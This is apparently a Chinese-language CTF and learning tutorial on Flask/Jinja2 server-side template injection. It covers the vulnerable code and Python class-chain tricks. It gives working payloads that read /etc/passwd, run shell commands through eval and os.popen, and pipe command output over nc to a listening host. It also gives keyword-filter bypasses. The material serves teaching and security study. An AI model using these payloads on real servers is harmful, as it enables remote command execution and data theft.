SSTI(服务器模板注入)学习

0x01 SSTI概念

SSTI看到ss两个字母就会想到服务器,常见的还有SSRF(服务器端请求伪造)。SSTI就是服务器端模板注入(Server-Side Template Injection)

说到注入,我们常见的注入有sql注入,sql注入我们都很熟悉,但SSTI和sql注入一样都是先从用户获得一个输入将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

0x02 SSTI原理

来看一个简单的源代码

from flask import Flask, request
from jinja2 import Template app = Flask(__name__) @app.route("/")
def index():
name = request.args.get('name', 'guest') t = Template("Hello " + name)
return t.render() if __name__ == "__main__":
app.run()

这是一个典型的SSTI漏洞例子,成因是render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。

各框架模板结构:



更详细的服务器模板原理网上有很多,参考

SSTI模板注入

0x03 搭建Flask(Jinja2) 服务端模板注入漏洞环境

ctf中比较常见的还是python站的SSTI,下面用vulhub上的一个环境来复现Flask的SSTI漏洞

搭建好后直接访问

from flask import Flask
from flask import request, render_template_string, render_template app = Flask(__name__) @app.route('/login')
def hello_ssti():
person = {
'name': 'hello',
'secret': '7d793037a0760186574b0282f2f435e7'
}
if request.args.get('name'):
person['name'] = request.args.get('name') template = '<h2>Hello %s!</h2>' % person['name'] return render_template_string(template, person=person) if __name__ == "__main__":
app.run(debug=True)

测试注入

传参/login?name={{7*7}}看有什么回显



可以看到把括号里面的7*7进行了计算,说明存在SSTI漏洞

那该怎么扩大漏洞利用范围呢,这就要讲到一些python知识(这个漏洞不止在python上,各种语言的模板都可以有,只是大多是python),这里先给一个漏洞利用方法

执行任意命令payload

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }} //poppen的参数就是要执行的命令
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

内建函数

当我们启动一个python解释器时,及时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。

内建名称空间:python自带的名字,在python解释器启动时产生,存放一些python内置的名字​

我们主要关注的是内建名称空间,是名字到内建对象的映射,在python中,初始的builtins模块提供内建名称空间到内建对象的映射​

dir()函数用于向我们展示一个对象的属性有哪些,在没有提供对象的时候,将会提供当前环境所导入的所有模块,我们可以看到初始模块有哪些



这里面,我们可以看到__builtins__是做为默认初始模块出现的,那么用dir()命令看看__builtins__的成分



这里我们可以看到很多熟悉的模块都是初始自带的,比如:importstrlen等,因此python可以直接使用某些初始函数,比如直接使用len()函数



到这里可能会有点感觉,就是只要我们能找到一个预装模块或者类的内置方法,那么就可以直接使用这个方法搞事。

这里就得再说一下python的类

在python中

instance.class 可以获取当前实例的类对象,例如

''.__class__



这里返回的就是空字符串的类也就是,<type 'str'>

**class.mro **获取当前类对象的所有继承类'只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到



这里在python2中还会多一个basestring类

base 对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法



subclasses() 继承此对象的子类,返回一个列表

我们知道python中的类都是继承object的,所以只要调用object类对象的__subclasses__()方法就可以获取我们想要的类的对象,比如用于读取文件的file对象

更多函数模块参考:

沙盒逃逸常见函数

" ".__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> "".__class__.__mro__[-1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, ......]

由于继承object的子类有很多,查阅起来不方便,可以列举一下

>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
...
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
(19, <type 'buffer'>)
(20, <type 'long'>)
(21, <type 'frozenset'>)
(22, <type 'property'>)
(23, <type 'memoryview'>)
(24, <type 'tuple'>)
(25, <type 'enumerate'>)
(26, <type 'reversed'>)
(27, <type 'code'>)
(28, <type 'frame'>)
(29, <type 'builtin_function_or_method'>)
(30, <type 'instancemethod'>)
(31, <type 'function'>)
(32, <type 'classobj'>)
(33, <type 'dictproxy'>)
(34, <type 'generator'>)
(35, <type 'getset_descriptor'>)
(36, <type 'wrapper_descriptor'>)
(37, <type 'instance'>)
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
.........

可以发现在第四十号指向file类,所以就可以从file类中调用open方法

''.__class__.__mro__[-1].__subclasses__()[40]("/root/Desktop/ssti-test/app.py").read()



这里成功利用file对象的匿名实例化,并为其传参要读取的文件名,通过调用其读文件函数read就可以对文件进行读取了。

0x04 漏洞利用

在明白了基本原理后,来复现试一下,读取密码

''.__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read()

命令执行

python环境下常用的命令执行方式。

os.system()

用法:os.system(command)

但是用这个无法回显

我们可以用这个

os.popen()

用法:os.popen(command[,mode[,bufsize]])

说明:mode – 模式权限可以是 ‘r’(默认) 或 ‘w’。

popen方法通过p.read()获取终端输出,而且popen需要关闭close().当执行成功时,close()不返回任何值,失败时,close()返回系统返回值(失败返回1). 可见它获取返回值的方式和os.system不同。

还需要了解一个魔法函数

globals该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls ").read()' )



如果os被过滤了可以用

subprocess

1.subprocess.check_call()

Python 2.5中新增的函数。 执行指定的命令,如果执行成功则返回状态码,否则抛出异常。其功能等价于subprocess.run(…, check=True)。

2.subprocess.check_output()

Python 2.7中新增的的函数。执行指定的命令,如果执行状态码为0则返回命令执行结果,否则抛出异常。

3.subprocess.Popen(“command”)

说明:class subprocess.Popen(args, bufsize=0, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=False, shell=False, cwd=None, env=None, universal_newlines=False, startupinfo=None, creationflags=0)

Popen非常强大,支持多种参数和模式,通过其构造函数可以看到支持很多参数。但Popen函数存在缺陷在于,它是一个阻塞的方法,如果运行cmd命令时产生内容非常多,函数就容易阻塞。另一点,Popen方法也不会打印出cmd的执行信息。

__init__方法

__init__方法用于将对象实例化,在这个函数下我们可以通过funcglobals(或者__globals)看该模块下有哪些globals函数(注意返回的是字典),而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块。

组合payload:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
e62b7adab33a40c6b6f483c31505f0f6
e62b7adab33a40c6b6f483c31505f0f6

无回显处理

当我们用os命令执行没回显时,可以用nc把回显发到vps上

vps:nc -lvp 1234
payload: ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls | nc 127.0.0.1 1234')

#vps接收到回显
root@iZwz91vrssa7zn3rzmh3cuZ:~# nc -lvp 123
Listening on [0.0.0.0] (family 0, port 1234)
Connection from [xx.xxx.xx.xx] port 1234 [tcp/*] accepted (family 2, sport 46258)
app.py
ap.py
Config.py

反弹shell也是一样,有了命令执行,反弹shell应该是很方便了。

0x05 Bypass

在实战或者ctf里出现的SSTI大多不能直接利用,一般会过滤一些关键字,这就需要我们掌握更多姿势,下面介绍一些常见的

1.拼接

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

2.过滤""[]

借助request对象:(这种方法在沙盒种不行,在web下才行,因为需要传参)

request变量可以访问所有已发送的参数,因此我们可以request.args.param用来检索新的paramGET参数的值,将其中的request.args改为request.values则利用post的方式进行传参

{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

3.过滤双下划线__

还是request方法

{{
''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()
}}&class=__class__&mro=__mro__&subclasses=__subclasses__

4.过滤一些函数名如__import__,

python的初始模块_builtin__里有很多危险的方法,一条路没了就找找其他的路

我们可以直接用 eval() exec() execfile()等

__builtins__.eval()

globals

[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('ls')

0x06 参考

https://p0sec.net/index.php/archives/120/

https://www.k0rz3n.com/2018/05/04/Python%20%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E5%A4%87%E5%BF%98/

https://www.anquanke.com/post/id/188172#h3-15

https://0day.work/jinja2-template-injection-filter-bypasses/

https://blog.csdn.net/zz_Caleb/article/details/96480967

SSTI(服务器模板注入)学习的更多相关文章

  1. SSTI服务器模板注入(以及关于渲染,solt的学习)&&[BJDCTF2020]The mystery of ip 1

    ssti服务器模板注入 ssti:利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 Web 应用程序的内容结构. slo ...

  2. CTF SSTI(服务器模板注入)

    目录 基础 一些姿势 1.config 2.self 3.[].() 3.url_for, g, request, namespace, lipsum, range, session, dict, g ...

  3. 1. SSTI(模板注入)漏洞(入门篇)

    好久没更新博客了,现在主要在作源码审计相关工作,在工作中也遇到了各种语言导致的一些SSTI,今天就来大概说一下SSTI模板注入这个老生常谈的漏洞 前言 模板引擎 模板引擎(这里特指用于Web开发的模板 ...

  4. Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)

    0x00 漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统.该系统主要用于对工作中各类问题.缺陷进行跟踪管理. Atlassian Jira Server和 ...

  5. CTF-flask模板注入学习

    今天又看到了一道这样的题,之前一直都学不明白的东西 反反复复给你看的时候,就想搞明白了. 我们做题的,需要知道flask是怎么运行的就行了. 这个就是一个最简单的flask应用,当我们访问的时候,就会 ...

  6. Flask模板注入

    Flask模板注入 Flask模板注入漏洞属于经典的SSTI(服务器模板注入漏洞). Flask案例 一个简单的Flask应用案例: from flask import Flask,render_te ...

  7. 2018护网杯easy_tornado(SSTI tornado render模板注入)

    考点:SSTI注入 原理: tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且 ...

  8. SSTI(模板注入)

    SSTI 一. 什么是SSTI 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档. ...

  9. XFF SSTI 模板注入 [BJDCTF2020]The mystery of ip

    转自https://www.cnblogs.com/wangtanzhi/p/12328083.html SSTI模板注入:之前也写过:https://www.cnblogs.com/wangtanz ...

随机推荐

  1. 03 GUI界面的错误日志查看及清除

    右上角图标,会显示当前使用工具的运行报错信息,点击可在下方查看到实际的错误日志

  2. 邮件退信“Remote Server returned '420 4.2.0 Recipient deferred because there is no Mdb'”

    标题是一个近期遇到的NDR 对于Exchange运维工作者,NDR通常给了我们较为清晰的排错方向,我们先看一下退信的原因, 我的一台MailBox报错“远程服务器返回‘420 4.2.0’接受延迟,因 ...

  3. coding++:jdk1.7 HashMap 的get()和put() 源码

    HashMap的概述:    基于哈希表的 Map 接口的实现.    此实现提供所有可选的映射操作,并允许使用 null 值和 null 键. (除了非同步和允许使用 null 之外,HashMap ...

  4. wireshark没有找到接口

    今天安装wireshark,打开发现显示没有找到接口,网上搜索发现出现这种问题的都是win10,但是我的是win7 看了一下win10这种问题的原因是自带的winpcap不支持win10,应到http ...

  5. Daily Scrum 12/17/2015

    Process: Zhaoyang:完成了相册图片的异步加载. Yandong&Dong:   对Azure的体系架构进行学习和相应的编程. Fuchen:   对Oxford计划中的NLP接 ...

  6. Java - window下环境配置

    JDK下载 官网:https://www.oracle.com/java/technologies/javase-jdk8-downloads.html 百度网盘: 链接:https://pan.ba ...

  7. 爬虫实战2_有道翻译sign破解

    目标url 有道翻译 打开网站输入要翻译的内容,一一查找network发现数据返回json格式,红框就是我们的翻译结果 查看headers,发现返回结果的请求是post请求,且携带一大堆form_da ...

  8. Os-Hax: 1 靶机记录

    靶机地址:172.16.1.197 Kali地址:172.16.1.108 1 信息搜集 靶机首页 相关信息查看 端口扫描: 开放22和80 目录扫描: 访问http://172.16.1.197/c ...

  9. 磁盘性能测试工具之fio

    fio是测试磁盘性能的一个非常好的工具,用来对硬件进行压力测试和验证. 注意事项 CentOS 6.5等较老版本的操作系统用fdisk创建分区时,默认为非4KB对齐选择初始磁柱编号,对性能有较大的影响 ...

  10. Docker 中如何安装配置 Nginx

    拉取 nginx 最新版镜像,然后简单启动一个 nginx 容器: docker pull nginx:latest docker run --name nginx01 -d -p 80:80 ngi ...